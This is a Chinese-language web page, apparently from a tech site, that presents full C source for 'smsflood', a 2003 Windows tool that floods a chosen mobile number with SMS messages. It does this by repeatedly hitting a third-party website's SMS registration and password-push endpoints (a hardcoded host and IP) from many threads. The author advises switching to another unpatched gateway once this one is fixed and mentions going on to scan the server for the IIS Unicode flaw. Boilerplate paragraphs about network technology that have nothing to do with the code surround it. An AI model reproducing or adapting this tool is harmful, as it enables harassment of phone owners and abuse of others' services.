|
導讀網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據... 網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 短信攻擊新思路短信攻擊新思路 /*說明: 作者:Yellow Email:wjj2748_cn@sina.com 日期:2003年9月2日晚 ********************************************************************* 命令行: smsflood <手機號> <發送次數><回車> 程序運行時會查詢服務器狀態,當服務器狀態為40x時可能程序里使用 的短信網關已將洞洞給補上了,因為服務器那里會有發送記錄,可能管 理員會發現我們所做的,那時就要再找一個有洞洞網關,然后修改源程 序,再重新編譯了.程序雖小,但使用了多線程、臨界區、Winsock、 TCP/IP、HTTP協議等技術!是一個不錯的網絡編程例子程序哦! 這里只是提供一個思路,使用Windows Sockets編程可以讓我們獲得更多 的底層信息,比如在這個程序里,我們就會發現在服務器使用的是IIS 5.0 如果想進一步攻擊,我們可以再編寫一個UniCode漏洞掃描程序(該漏洞是 IIS所特有的). ********************************************************************** */ #define _MT//多線程支持 #include <stdio.h> #include <stdlib.h>//memset() #include <string.h> #include <conio.h>//getch() #include <process.h>//_beginthread,使用多線程函數 #include <winsock.h>//socket(),bind(),connect,send(),recv().....,使用套接字函數 #pragma comment(lib,"ws2_32.lib")//連接套接字函數 #pragma comment(lib,"Libcmt.LIB")//連接多線程函數 //inifmt和sendfmt是程序使用的HTTPPOST方法數據包,用我寫的listen80程序獲得的 char inifmt[]="GET /asp/sms/reguse.asp?strMobilecode=%s HTTP/1.1\n" "Accept: */*\n" "Accept-Language: zh-cn\n" "Accept-Encoding: gzip, deflate\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n" "Host: sms.soufun.com\n" "Connection: Keep-Alive\n\n"; char sendfmt[]="GET /asp/sms/pushpass.asp?strMobilecode=%s HTTP/1.1\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*\n" "Accept-Language: zh-cn\n" "Accept-Encoding: gzip, deflate\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n" "Host: sms.soufun.com\n" "Connection: Keep-Alive\n\n"; char buffer[400]={0},buffer2[300]={0}; struct sockaddr_in server,client; char mobile[11]={0}; int scount=0; CRITICAL_SECTION beswap; /***********************************************************************************************/ void do****amcc(void* parm) { EnterCriticalSection(&beswap); SOCKET sfd; scount++; if((sfd=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) { printf("為%d攻擊線程分配套按字失敗....\n",scount--); LeaveCriticalSection(&beswap); return ; } if(bind(sfd,(struct sockaddr *)(&client),sizeof(struct sockaddr))==SOCKET_ERROR) { printf("攻擊線程%d地址綁定失敗....\n",scount--); LeaveCriticalSection(&beswap); closesocket(sfd); return ; } if(connect(sfd,(struct sockaddr*)&server,sizeof(struct sockaddr))) { printf("攻擊線程%d在連接到服務器時失敗....\n",scount--); closesocket(sfd); LeaveCriticalSection(&beswap); return ; } printf("線程%d正在發送數據包到%s\n",scount,mobile); memset(buffer,0,380); printf("攻擊線程 %d 正在初使化短信攻擊數據......\n",scount); wsprintf(buffer,inifmt,mobile); send(sfd,buffer,sizeof(buffer),0); printf("攻擊線程 %d 正在發送攻擊數據包......\n",scount); wsprintf(buffer,sendfmt,mobile); send(sfd,buffer,sizeof(buffer),0); printf("攻擊線程 %d 完成數據包發送,正在查詢服務器狀態......\a\n",scount); recv(sfd,buffer2,240,0); printf("服務器狀態如下:\n%s\n",buffer2); LeaveCriticalSection(&beswap); Sleep(200); } /***********************************************************************************************/ void main(int argc,char **argv) { //1,初使化套接字以及地址和臨界區變量 WSADATA data; struct hostent *host=NULL; int begin=0,thread=0; if(argc!=3) { printf("smsflood <mobile> <times>\a\n"); exit(-1); } if(WSAStartup(0x0202,&data)!=0) { printf("WSAStartup error:%d\n",WSAGetLastError()); exit(0); } memset((void*)&server,0,sizeof(struct sockaddr_in)); memset((void*)&client,0,sizeof(struct sockaddr_in)); server.sin_family=AF_INET; server.sin_port=htons(80); server.sin_addr.S_un.S_addr=inet_addr("202.108.253.37"); client.sin_addr.S_un.S_addr=htonl(INADDR_ANY); client.sin_port=htons(0); client.sin_family=AF_INET; thread=atoi(argv[2]); strcpy(mobile,argv[1]); InitializeCriticalSection(&beswap); //2,跟據用戶輸入啟動發送線程 printf("\n短信洪水攻擊程序 Ver 1.0.1.11\n\n作者:yellow\n\nEmail:wjj2748_cn@sina.com\n\n"); printf("初使化完成,是否開始攻擊?(y/n)\a\n"); if(getch()=='y') { while(begin<thread) { if(_beginthread(do****amcc, 0, NULL )==(long)-1) continue; else begin++; } printf("攻擊線程已經,請等待線程退出......\a\n"); } //3,完成發送后,進行必要清理 getch(); printf("按任意鍵退出......\n"); getch(); WSACleanup(); DeleteCriticalSection(&beswap); //4,退出應用程序 } 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!